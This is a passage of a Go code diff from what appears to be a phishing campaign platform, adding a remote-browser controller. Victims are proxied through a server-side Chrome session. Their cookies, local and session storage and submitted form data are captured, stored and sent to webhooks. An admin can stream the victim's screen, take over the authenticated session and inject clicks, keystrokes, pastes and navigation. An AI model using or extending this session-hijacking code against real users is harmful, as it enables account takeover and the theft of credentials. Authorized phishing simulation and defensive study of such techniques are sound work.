&& cmd.Action != "" { + if val, exists := activeNamedStreams.Load(cmd.Name); exists { + si := val.(*streamInfo) + // cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords. + cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y) + if ok { + if page := sess.getBrowserPage(); page != nil { + adjusted, _ := json.Marshal(map[string]interface{}{ + "type": cmd.Action, + "x": cdpX, + "y": cdpY, + "button": cmd.Button, + "deltaX": cmd.DeltaX, + "deltaY": cmd.DeltaY, + "key": cmd.Key, + "code": cmd.Code, + "keyCode": cmd.KeyCode, + "modifiers": cmd.Modifiers, + "charText": cmd.CharText, + }) + m.dispatchInput(page, adjusted) + } + } + } + continue + } + if cmd.Event == "" { + continue + } + var eventData interface{} + json.Unmarshal(cmd.Data, &eventData) //nolint:errcheck + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: eventData}: + default: + } + } + }() + + go runner.Run(ctx) //nolint:errcheck + + // As soon as the browser spawns, mark the session as streamable and apply + // the victim viewport if it was already received before the browser was ready. + go func() { + select { + case <-ctx.Done(): + case page := <-runner.BrowserCh: + sess.setBrowserPage(page) + applyViewport(page) + } + }() + + // Watch for s.stream(selector, name) / stop() calls from the script. + go func() { + for { + select { + case <-ctx.Done(): + return + case cmd, ok := <-runner.StreamCh: + if !ok { + return + } + if cmd.Op == "start" { + if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists { + val.(*streamInfo).cancel() + } + streamCtx, streamCancel := context.WithCancel(cmd.Page.GetContext()) + si := &streamInfo{cancel: streamCancel, maxFps: cmd.MaxFps, quality: cmd.Quality} + activeNamedStreams.Store(cmd.Name, si) + go m.runNamedStream(streamCtx, cmd.Page, &connMu, conn, cmd.Selector, cmd.Name, si) + } else if cmd.Op == "stop" { + if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists { + val.(*streamInfo).cancel() + } + } + } + } + }() + + clientIP := utils.ExtractClientIP(g.Request) + userAgent := g.Request.UserAgent() + + // processEvent handles server-side effects for a RunEvent (DB writes, session state + // updates). Uses context.Background() so a victim disconnect does not cause DB writes + // to fail mid-flight. + processEvent := func(evt remotebrowser.RunEvent) { + switch evt.Type { + case "capture": + m.saveCaptureEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent) + case "submit": + m.saveSubmitEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent) + case "error": + m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent) + case "info": + m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent) + case "keep_alive": + sess.isKeepAlive.Store(true) + select { + case page := <-runner.LiveCh: + sess.setBrowserPage(page) + m.saveInfoEvent(context.Background(), &campaignID, &recipientID, "remote browser session available for takeover", clientIP, userAgent) + default: + } + case "log": + m.Logger.Debugw(evt.Message, "campaign_id", campaignID, "recipient_id", recipientID) + } + } + + // Write loop: forward script events back to the victim page and handle server-side + // effects. Uses a select so it exits when the victim's HTTP connection closes without + // cancelling the runner (which must stay alive for keepAlive sessions). + // On disconnect, drain any buffered events so a keep_alive arriving simultaneously + // with the disconnect is not silently lost. + reqCtx := g.Request.Context() + for { + select { + case <-reqCtx.Done(): + // Victim disconnected. Non-blocking drain of buffered events to catch + // a keep_alive or capture that arrived at the same time as the disconnect. + for { + select { + case evt, ok := <-runner.Events: + if !ok { + return + } + processEvent(evt) + default: + return + } + } + case evt, ok := <-runner.Events: + if !ok { + return + } + processEvent(evt) + if evt.Type == "log" || evt.Type == "capture" || evt.Type == "submit" || + evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "error" || + evt.Type == "screenshot" { + continue + } + payload, err := json.Marshal(map[string]interface{}{ + "type": evt.Type, + "key": evt.Key, + "value": evt.Value, + }) + if err != nil { + continue + } + connMu.Lock() + writeErr := conn.WriteMessage(websocket.TextMessage, payload) + connMu.Unlock() + if writeErr != nil { + return + } + } + } +} + +// liveSessionInfo is the JSON shape returned by the live session list/get endpoints. +type liveSessionInfo struct { + CRID string `json:"crID"` + CampaignID string `json:"campaignID"` + RecipientID string `json:"recipientID"` + CreatedAt time.Time `json:"createdAt"` + VictimConnected bool `json:"victimConnected"` + CanStream bool `json:"canStream"` // true once newSession() has spawned a browser +} + +func (m *RemoteBrowserController) sessionToInfo(sess *activeSession) liveSessionInfo { + return liveSessionInfo{ + CRID: sess.CRID.String(), + CampaignID: sess.CampaignID.String(), + RecipientID: sess.RecipientID.String(), + CreatedAt: sess.CreatedAt, + VictimConnected: sess.victimConnected.Load(), + CanStream: sess.getBrowserPage() != nil, + } +} + +// ListLiveSessions returns all active victim sessions for the campaign, optionally +// filtered by campaignID query param. +func (m *RemoteBrowserController) ListLiveSessions(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + if err != nil { + m.Logger.Warnw("IsAuthorized error in ListLiveSessions", "error", err) + } + m.Response.Forbidden(g) + return + } + campaignFilter := g.Query("campaignID") + var sessions []liveSessionInfo + m.RemoteBrowserService.RangeSessions(func(_ string, val service.LiveSession) bool { + sess := val.(*activeSession) + if sess.isTest { + return true + } + if campaignFilter == "" || sess.CampaignID.String() == campaignFilter { + sessions = append(sessions, m.sessionToInfo(sess)) + } + return true + }) + if sessions == nil { + sessions = []liveSessionInfo{} + } + m.Response.OK(g, sessions) +} + +// CloseLiveSession terminates an active victim session by cancelling its context. +func (m *RemoteBrowserController) CloseLiveSession(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + if err != nil { + m.Logger.Warnw("IsAuthorized error in CloseLiveSession", "error", err) + } + m.Response.Forbidden(g) + return + } + crID := g.Param("crID") + val, loaded := m.RemoteBrowserService.LoadAndDeleteSession(crID) + if !loaded { + g.AbortWithStatus(http.StatusNotFound) + return + } + val.Cancel() + m.Response.OK(g, map[string]string{"message": "live session closed"}) +} + +// StreamLiveSession upgrades to WebSocket and streams a CDP screencast of the +// active browser tab to the admin. When mode=control the admin's mouse and +// keyboard input is forwarded back into the browser. New tabs opened by the +// victim are auto-tracked; the admin can switch between them or close them via +// switch_tab / close_tab WS messages. +func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + if err != nil { + m.Logger.Warnw("IsAuthorized error in StreamLiveSession", "error", err) + } + m.Response.Forbidden(g) + return + } + crIDStr := g.Param("crID") + val, exists := m.RemoteBrowserService.LoadSession(crIDStr) + if !exists { + g.AbortWithStatus(http.StatusNotFound) + return + } + sess := val.(*activeSession) + page := sess.getBrowserPage() + if page == nil { + // newSession() has not been called yet in the script + g.AbortWithStatus(http.StatusServiceUnavailable) + return + } + controlMode := g.Query("mode") == "control" + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + // Derived from outerCtx so the stream also ends when the victim session ends. + streamCtx, streamCancel := context.WithCancel(page.GetContext()) + defer streamCancel() + + type tabEntry struct { + page *rod.Page + url string + } + var tabsMu sync.Mutex + tabs := map[proto.TargetTargetID]*tabEntry{ + page.TargetID: {page: page, url: ""}, + } + + var activePageMu sync.RWMutex + activePageVal := page + getActivePage := func() *rod.Page { + activePageMu.RLock() + defer activePageMu.RUnlock() + return activePageVal + } + setActivePage := func(p *rod.Page) { + activePageMu.Lock() + defer activePageMu.Unlock() + activePageVal = p + } + + // Shared across tab switches; all feed into the write loop below. + frameCh := make(chan *proto.PageScreencastFrame, 8) + urlCh := make(chan string, 4) + switchCh := make(chan *rod.Page, 1) + // notifyCh routes pre-encoded JSON from background goroutines to the write + // loop, which is the sole writer on conn. + notifyCh := make(chan []byte, 8) + + sendTabList := func() { + active := getActivePage() + tabsMu.Lock() + type tabMsg struct { + TargetID string `json:"targetID"` + URL string `json:"url"` + Active bool `json:"active"` + } + list := make([]tabMsg, 0, len(tabs)) + for tid, e := range tabs { + list = append(list, tabMsg{ + TargetID: string(tid), + URL: e.url, + Active: active != nil && tid == active.TargetID, + }) + } + tabsMu.Unlock() + payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list}) + if err != nil { + return + } + select { + case notifyCh <- payload: + default: + } + } + + // pageCancel is reset by startOnPage on every tab switch; the outer variable + // persists so the defer and subsequent calls can cancel the previous context. + var pageCancel context.CancelFunc + + liveQ, liveW, liveH, liveN := 80, 1280, 800, 1 + startScreencastParams := proto.PageStartScreencast{ + Format: proto.PageStartScreencastFormatJpeg, + Quality: &liveQ, + MaxWidth: &liveW, + MaxHeight: &liveH, + EveryNthFrame: &liveN, + } + + // startOnPage switches the active screencast to p. It cancels the previous + // page's EachEvent subscription and screencast before starting new ones. + // Must only be called from the write loop goroutine. + startOnPage := func(p *rod.Page) { + if pageCancel != nil { + pageCancel() + proto.PageStopScreencast{}.Call(getActivePage()) //nolint:errcheck + } + setActivePage(p) + // Foreground the tab so Chrome doesn't throttle its rendering pipeline. + proto.TargetActivateTarget{TargetID: p.TargetID}.Call(p.Browser()) //nolint:errcheck + var pageCtx context.Context + pageCtx, pageCancel = context.WithCancel(streamCtx) + streamPage := p.Context(pageCtx) + wait := streamPage.EachEvent( + func(e *proto.PageScreencastFrame) (stop bool) { + select { + case frameCh <- e: + default: + } + return + }, + func(e *proto.PageFrameNavigated) (stop bool) { + if e.Frame != nil && e.Frame.ParentID == "" { + tabsMu.Lock() + if entry, ok := tabs[p.TargetID]; ok { + entry.url = e.Frame.URL + } + tabsMu.Unlock() + select { + case urlCh <- e.Frame.URL: + default: + } + } + return + }, + func(e *proto.PageNavigatedWithinDocument) (stop bool) { + tabsMu.Lock() + if entry, ok := tabs[p.TargetID]; ok { + entry.url = e.URL + } + tabsMu.Unlock() + select { + case urlCh <- e.URL: + default: + } + return + }, + ) + go wait() + startScreencastParams.Call(p) //nolint:errcheck + // Idle headless pages don't generate screencast frames until Chrome renders. + // bringToFront activates the tab's rendering pipeline; the fallback goroutine + // schedules a rAF if no frame arrives within a second (handles headless modes + // where bringToFront is a no-op). + proto.PageBringToFront{}.Call(p) //nolint:errcheck + go func() { + t := time.NewTimer(time.Second) + defer t.Stop() + select { + case <-pageCtx.Done(): + return + case <-t.C: + } + if len(frameCh) == 0 { + proto.RuntimeEvaluate{Expression: "window.requestAnimationFrame(function(){void 0})"}.Call(p) //nolint:errcheck + } + }() + } + + startOnPage(page) + defer func() { + if pageCancel != nil { + pageCancel() + } + // Do NOT call PageStopScreencast here: the admin disconnecting and a new + // admin connecting run concurrently. Stopping the screencast on disconnect + // races with the incoming startScreencastParams and kills the new session. + // Chrome keeps a pending frame until the next startScreencastParams resets it. + }() + + if info, err := page.Info(); err == nil && info.URL != "" { + tabsMu.Lock() + if e, ok := tabs[page.TargetID]; ok { + e.url = info.URL + } + tabsMu.Unlock() + if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil { + conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck + } + } + // Write loop hasn't started yet so it's safe to write directly here. + { + type tabMsg struct { + TargetID string `json:"targetID"` + URL string `json:"url"` + Active bool `json:"active"` + } + tabsMu.Lock() + list := make([]tabMsg, 0, len(tabs)) + for tid, e := range tabs { + list = append(list, tabMsg{TargetID: string(tid), URL: e.url, Active: tid == page.TargetID}) + } + tabsMu.Unlock() + if payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list}); err == nil { + conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck + } + } + + go func() { + defer func() { recover() }() //nolint:errcheck + watchBrowser := page.Browser().Context(streamCtx) + wait := watchBrowser.EachEvent( + func(e *proto.TargetTargetCreated) bool { + info := e.TargetInfo + if info == nil || info.Type != proto.TargetTargetInfoTypePage { + return false + } + // Only track tabs whose opener is already in our tab map. + if info.OpenerID == "" { + return false + } + tabsMu.Lock() + _, openerKnown := tabs[proto.TargetTargetID(info.OpenerID)] + tabsMu.Unlock() + if !openerKnown { + return false + } + newPage, err := page.Browser().PageFromTarget(info.TargetID) + if err != nil { + return false + } + tabsMu.Lock() + tabs[info.TargetID] = &tabEntry{page: newPage, url: info.URL} + tabsMu.Unlock() + select { + case switchCh <- newPage: + default: + } + return false + }, + func(e *proto.TargetTargetDestroyed) bool { + tabsMu.Lock() + delete(tabs, e.TargetID) + var fallback *rod.Page + for _, entry := range tabs { + fallback = entry.page + break + } + tabsMu.Unlock() + if ap := getActivePage(); ap != nil && ap.TargetID == e.TargetID && fallback != nil { + select { + case switchCh <- fallback: + default: + } + } + go sendTabList() + return false + }, + func(e *proto.TargetTargetInfoChanged) bool { + info := e.TargetInfo + if info == nil || info.Type != proto.TargetTargetInfoTypePage { + return false + } + tabsMu.Lock() + if entry, ok := tabs[info.TargetID]; ok { + entry.url = info.URL + } + tabsMu.Unlock() + go sendTabList() + return false + }, + ) + wait() + }() + + // switch_tab and close_tab are accepted in both view and control mode. + // Mouse/keyboard dispatch only runs in control mode. + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + return + } + var header struct { + Type string `json:"type"` + TargetID string `json:"targetID"` + } + if json.Unmarshal(msg, &header) != nil { + continue + } + switch header.Type { + case "switch_tab": + tabsMu.Lock() + entry, ok := tabs[proto.TargetTargetID(header.TargetID)] + tabsMu.Unlock() + if ok { + select { + case switchCh <- entry.page: + default: + } + } + case "close_tab": + tabsMu.Lock() + entry, ok := tabs[proto.TargetTargetID(header.TargetID)] + tabsMu.Unlock() + if ok { + // TargetTargetDestroyed fires next; the EachEvent handler above + // removes the entry and switches to a fallback tab if needed. + proto.TargetCloseTarget{TargetID: proto.TargetTargetID(header.TargetID)}.Call(entry.page.Browser()) //nolint:errcheck + } + default: + if controlMode { + m.dispatchInput(getActivePage(), msg) + } + } + } + }() + + for { + select { + case <-page.GetContext().Done(): + conn.WriteMessage(websocket.TextMessage, []byte(`{"type":"closed"}`)) //nolint:errcheck + return + case <-g.Request.Context().Done(): + return + case newPage := <-switchCh: + startOnPage(newPage) + // p.Info() is a CDP round-trip; run it off the write loop. + go func(p *rod.Page) { + if info, err := p.Info(); err == nil && info.URL != "" { + tabsMu.Lock() + if e, ok := tabs[p.TargetID]; ok { + e.url = info.URL + } + tabsMu.Unlock() + if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil { + select { + case notifyCh <- payload: + default: + } + } + } + sendTabList() + }(newPage) + case payload := <-notifyCh: + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return + } + case u := <-urlCh: + payload, err := json.Marshal(map[string]string{"type": "url", "value": u}) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return + } + case frame, ok := <-frameCh: + if !ok { + return + } + proto.PageScreencastFrameAck{SessionID: frame.SessionID}.Call(getActivePage()) //nolint:errcheck + var frameW, frameH float64 + if frame.Metadata != nil { + frameW = frame.Metadata.DeviceWidth + frameH = frame.Metadata.DeviceHeight + } + payload, err := json.Marshal(map[string]any{ + "type": "frame", + "data": base64.StdEncoding.EncodeToString(frame.Data), + "width": frameW, + "height": frameH, + }) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return + } + } + } +} + +// dispatchInput routes a JSON input message from the admin WS into the browser via rod proto. +func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { + var cmd struct { + Type string `json:"type"` + X float64 `json:"x"` + Y float64 `json:"y"` + Button string `json:"button"` + DeltaX float64 `json:"deltaX"` + DeltaY float64 `json:"deltaY"` + Key string `json:"key"` + Code string `json:"code"` + KeyCode int64 `json:"keyCode"` + Modifiers int64 `json:"modifiers"` + CharText string `json:"charText"` // non-empty when keydown should also fire a char event + Text string `json:"text"` // paste payload + URL string `json:"url"` // navigate target + } + if json.Unmarshal(msg, &cmd) != nil { + return + } + btn := proto.InputMouseButtonLeft + if cmd.Button == "right" { + btn = proto.InputMouseButtonRight + } + mods := int(cmd.Modifiers) + switch cmd.Type { + case "mousemove": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseMoved, + X: cmd.X, Y: cmd.Y, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "mousedown": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMousePressed, + X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "mouseup": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseReleased, + X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "scroll": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseWheel, + X: cmd.X, Y: cmd.Y, DeltaX: cmd.DeltaX, DeltaY: cmd.DeltaY, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "keydown": + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeKeyDown, + Key: cmd.Key, + Code: cmd.Code, + WindowsVirtualKeyCode: int(cmd.KeyCode), + NativeVirtualKeyCode: int(cmd.KeyCode), + Modifiers: mods, + }.Call(page) //nolint:errcheck + if ct := cmd.CharText; ct != "" { + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeChar, + Key: ct, + Text: ct, + UnmodifiedText: ct, + Modifiers: mods, + }.Call(page) //nolint:errcheck + } + case "keyup": + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeKeyUp, + Key: cmd.Key, + Code: cmd.Code, + WindowsVirtualKeyCode: int(cmd.KeyCode), + NativeVirtualKeyCode: int(cmd.KeyCode), + Modifiers: mods, + }.Call(page) //nolint:errcheck + case "paste": + page.InsertText(cmd.Text) //nolint:errcheck + case "navigate": + if cmd.URL != "" { + page.Navigate(cmd.URL) //nolint:errcheck + } + case "back": + page.NavigateBack() //nolint:errcheck + case "forward": + page.NavigateForward() //nolint:errcheck + } +} + +// saveCaptureEvent converts a remote browser capture payload to the same bundle +// format used by AITM captures and saves it as a CampaignEvent so it appears in +// the campaign timeline and can be exported to session replay tools. +func (m *RemoteBrowserController) saveCaptureEvent( + ctx context.Context, + req *http.Request, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + captureValue interface{}, + clientIP string, + userAgent string, +) { + // JSON round-trip so we have a consistent map[string]interface{} regardless of + // whether the value was a Go struct (network.Cookie) or already a map. + raw, err := json.Marshal(captureValue) + if err != nil { + return + } + var capture map[string]interface{} + if json.Unmarshal(raw, &capture) != nil { + return + } + + // Build cookies map keyed by cookie name - matches the AITM cookie bundle format. + cookiesMap := map[string]interface{}{} + if arr, ok := capture["cookies"].([]interface{}); ok { + for _, c := range arr { + if cm, ok := c.(map[string]interface{}); ok { + name, _ := cm["name"].(string) + if name == "" { + continue + } + entry := map[string]string{ + "name": name, + "value": stringField(cm, "value"), + "domain": stringField(cm, "domain"), + "path": stringField(cm, "path"), + "capture_time": time.Now().Format(time.RFC3339), + } + if b, _ := cm["secure"].(bool); b { + entry["secure"] = "true" + } + if b, _ := cm["httpOnly"].(bool); b { + entry["httpOnly"] = "true" + } + if ss, _ := cm["sameSite"].(string); ss != "" { + entry["sameSite"] = ss + } + // CDP returns expires as a float64 Unix timestamp; -1 means session cookie. + if exp, _ := cm["expires"].(float64); exp > 0 { + entry["expires"] = time.Unix(int64(exp), 0).UTC().Format(time.RFC3339) + } + cookiesMap[name] = entry + } + } + } + + bundle := map[string]interface{}{ + "capture_type": "cookie", + "source": "remote_browser", + "cookie_count": len(cookiesMap), + "bundle_time": time.Now().Format(time.RFC3339), + "session_complete": true, + "cookies": cookiesMap, + } + + // include localStorage / sessionStorage if present + if ls, ok := capture["localStorage"]; ok && ls != nil { + bundle["localStorage"] = ls + } + if ss, ok := capture["sessionStorage"]; ok && ss != nil { + bundle["sessionStorage"] = ss + } + + bundleJSON, err := json.Marshal(bundle) + if err != nil { + return + } + + // Extract browser metadata (JA4, platform, accept-language) from the victim's + // WS upgrade request, gated on the campaign's SaveBrowserMetadata flag. + var metadata *vo.OptionalString1MB + if m.CampaignService != nil { + if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil { + metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) + } + } + if metadata == nil { + metadata = vo.NewEmptyOptionalString1MB() + } + + submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: submitDataEventID, + Metadata: metadata, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON)) + if dataErr != nil { + m.Logger.Warnw("remote browser capture too large to save, truncating is not safe - skipping", "campaign_id", campaignID, "error", dataErr) + return + } + event.Data = eventData + if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil { + return + } + + if m.CampaignService != nil { + m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck + } +} + +func (m *RemoteBrowserController) saveInfoEvent( + ctx context.Context, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + message string, + clientIP string, + userAgent string, +) { + infoEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO] + if infoEventID == nil { + return + } + payload := map[string]string{ + "source": "remote_browser", + "message": message, + } + raw, err := json.Marshal(payload) + if err != nil { + return + } + eventData, dataErr := vo.NewOptionalString1MB(string(raw)) + if dataErr != nil { + return + } + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: infoEventID, + Data: eventData, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + m.CampaignRepository.SaveEvent(ctx, event) //nolint:errcheck +} + +// saveSubmitEvent saves arbitrary script-submitted data as a submitted_data campaign event. +// Unlike saveCaptureEvent (which expects a cookie/storage bundle), this accepts any +// JSON-serializable value passed to submitData() in the script. +func (m *RemoteBrowserController) saveSubmitEvent( + ctx context.Context, + req *http.Request, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + submitValue interface{}, + clientIP string, + userAgent string, +) { + submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] + if submitDataEventID == nil { + return + } + bundle := map[string]interface{}{ + "capture_type": "form_data", + "source": "remote_browser", + "data": submitValue, + } + bundleJSON, err := json.Marshal(bundle) + if err != nil { + return + } + var metadata *vo.OptionalString1MB + if m.CampaignService != nil { + if campaign, err := m.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{}); err == nil { + metadata = model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) + } + } + if metadata == nil { + metadata = vo.NewEmptyOptionalString1MB() + } + eventData, dataErr := vo.NewOptionalString1MB(string(bundleJSON)) + if dataErr != nil { + m.Logger.Warnw("remote browser submitData payload too large to save", "campaign_id", campaignID, "error", dataErr) + return + } + eventID := uuid.New() + event := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: submitDataEventID, + Data: eventData, + Metadata: metadata, + IP: vo.NewOptionalString64Must(clientIP), + UserAgent: vo.NewOptionalString255Must(userAgent), + } + if err := m.CampaignRepository.SaveEvent(ctx, event); err != nil { + return + } + if m.CampaignService != nil { + m.CampaignService.HandleWebhooks(ctx, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, bundle) //nolint:errcheck + } +} + +// cropImage crops an already-decoded image and returns base64 JPEG at the given quality (1-100). +// quality 0 means use the default (92). +func cropImage(src image.Image, x, y, w, h, quality int) (string, error) { + b := src.Bounds() + if x < b.Min.X { + x = b.Min.X + } + if y < b.Min.Y { + y = b.Min.Y + } + if x+w > b.Max.X { + w = b.Max.X - x + } + if y+h > b.Max.Y { + h = b.Max.Y - y + } + if w <= 0 || h <= 0 { + return "", fmt.Errorf("crop region out of bounds") + } + dst := image.NewRGBA(image.Rect(0, 0, w, h)) + draw.Draw(dst, dst.Bounds(), src, image.Pt(x, y), draw.Src) + var buf bytes.Buffer + q := quality + if q <= 0 || q > 100 { + q = 92 + } + if err := jpeg.Encode(&buf, dst, &jpeg.Options{Quality: q}); err != nil { + return "", err + } + return base64.StdEncoding.EncodeToString(buf.Bytes()), nil +} + +// runNamedStream queries the element CSS bounding rect, then streams cropped frames to +// the victim WebSocket until streamCtx is cancelled or the connection closes. +// +// The crop rect is computed in JPEG pixels by scaling the CSS rect by the ratio of +// (JPEG frame dimensions / CSS viewport dimensions) taken from the first frame's metadata. +// This corrects for HiDPI displays and screencast downscaling where JPEG pixels ≠ CSS pixels. +func (m *RemoteBrowserController) runNamedStream( + streamCtx context.Context, + page *rod.Page, + connMu *sync.Mutex, + conn *websocket.Conn, + selector string, + name string, + si *streamInfo, +) { + sendLog := func(msg string) { + payload, _ := json.Marshal(map[string]interface{}{"type": "log", "message": msg}) + connMu.Lock() + conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck + connMu.Unlock() + } + + // Get element CSS bounding rect (values are in CSS pixels, scale-invariant via viewport). + res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector)) + if err != nil || res.Value.Str() == "" || res.Value.Str() == "null" { + sendLog(fmt.Sprintf("[stream:%s] element not found: %s", name, selector)) + return + } + var cssRect struct{ X, Y, W, H float64 } + if err := json.Unmarshal([]byte(res.Value.Str()), &cssRect); err != nil || cssRect.W <= 0 || cssRect.H <= 0 { + sendLog(fmt.Sprintf("[stream:%s] element has zero dimensions: %s", name, selector)) + return + } + si.setOrigin(cssRect.X, cssRect.Y) + + // displayW/H: CSS pixel size sent to the victim canvas for layout. + // Locked to the element's size at stream-start time; updated only when + // the element itself genuinely resizes (cssRectChanged), NOT when + // EmulateViewport causes responsive-layout reflow that changes cssRect.W/H. + displayW := int(cssRect.W) + displayH := int(cssRect.H) + + streamPage := page.Context(streamCtx) + frameCh := make(chan *proto.PageScreencastFrame, 4) + wait := streamPage.EachEvent(func(e *proto.PageScreencastFrame) (stop bool) { + select { + case frameCh <- e: + default: + } + return + }) + go wait() + + nsQ, nsW, nsH, nsN := 85, 3840, 2160, 1 + namedStreamScreencast := proto.PageStartScreencast{ + Format: proto.PageStartScreencastFormatJpeg, + Quality: &nsQ, + MaxWidth: &nsW, + MaxHeight: &nsH, + EveryNthFrame: &nsN, + } + if err := namedStreamScreencast.Call(streamPage); err != nil { + return + } + // page (not streamPage) must be used here: streamCtx is already cancelled when this defer + // runs, so a StopScreencast on streamPage would never reach Chrome. + defer proto.PageStopScreencast{}.Call(page) //nolint:errcheck + + var minInterval time.Duration + if si.maxFps > 0 { + minInterval = time.Second / time.Duration(si.maxFps) + } + var lastFrameSent time.Time + + // cropX/Y/W/H are in JPEG pixels, recomputed whenever the JPEG dimensions or + // the viewport (DeviceWidth/Height) change. The viewport can change mid-stream + // when EmulateViewport is applied after the victim sends their window size. + var cropX, cropY, cropW, cropH int + var lastJpegW, lastJpegH int + var lastDevW, lastDevH float64 // track viewport to detect changes + var lastRectCheck time.Time // throttle for periodic element-size polling + + requeryCSSRect := func(devW, devH float64) { + res, err := page.Eval(fmt.Sprintf(`() => (function(){var el=document.querySelector(%q);if(!el)return null;var r=el.getBoundingClientRect();return JSON.stringify({x:r.left,y:r.top,w:r.width,h:r.height})})()`, selector)) + if err != nil { + return + } + if res.Value.Str() == "" || res.Value.Str() == "null" { + return + } + var r struct{ X, Y, W, H float64 } + if err := json.Unmarshal([]byte(res.Value.Str()), &r); err != nil || r.W <= 0 { + return + } + cssRect = r + si.setOrigin(cssRect.X, cssRect.Y) + } + + for { + select { + case <-streamCtx.Done(): + stopPayload, _ := json.Marshal(map[string]string{"type": "stream_stop", "name": name}) + connMu.Lock() + conn.WriteMessage(websocket.TextMessage, stopPayload) //nolint:errcheck + connMu.Unlock() + return + case frame, ok := <-frameCh: + if !ok { + return + } + // Always ack to prevent CDP screencast stalling. + proto.PageScreencastFrameAck{SessionID: frame.SessionID}.Call(page) //nolint:errcheck + // Throttle: drop frames that arrive faster than maxFps. + if minInterval > 0 && !lastFrameSent.IsZero() && time.Since(lastFrameSent) < minInterval { + continue + } + lastFrameSent = time.Now() + + var devW, devH float64 + if frame.Metadata != nil { + devW = frame.Metadata.DeviceWidth + devH = frame.Metadata.DeviceHeight + } + + // Decode JPEG once; reuse for both scale computation and cropping. + src, err := jpeg.Decode(bytes.NewReader(frame.Data)) + if err != nil { + continue + } + jpegW := src.Bounds().Max.X + jpegH := src.Bounds().Max.Y + + if devW <= 0 { + devW = float64(jpegW) + } + if devH <= 0 { + devH = float64(jpegH) + } + + viewportChanged := devW != lastDevW || devH != lastDevH + jpegDimsChanged := jpegW != lastJpegW || jpegH != lastJpegH + + // When the viewport changes (e.g. EmulateViewport applied after victim connects), + // re-query the element's bounding rect — its CSS position and size may have + // changed due to responsive layout reflow. + 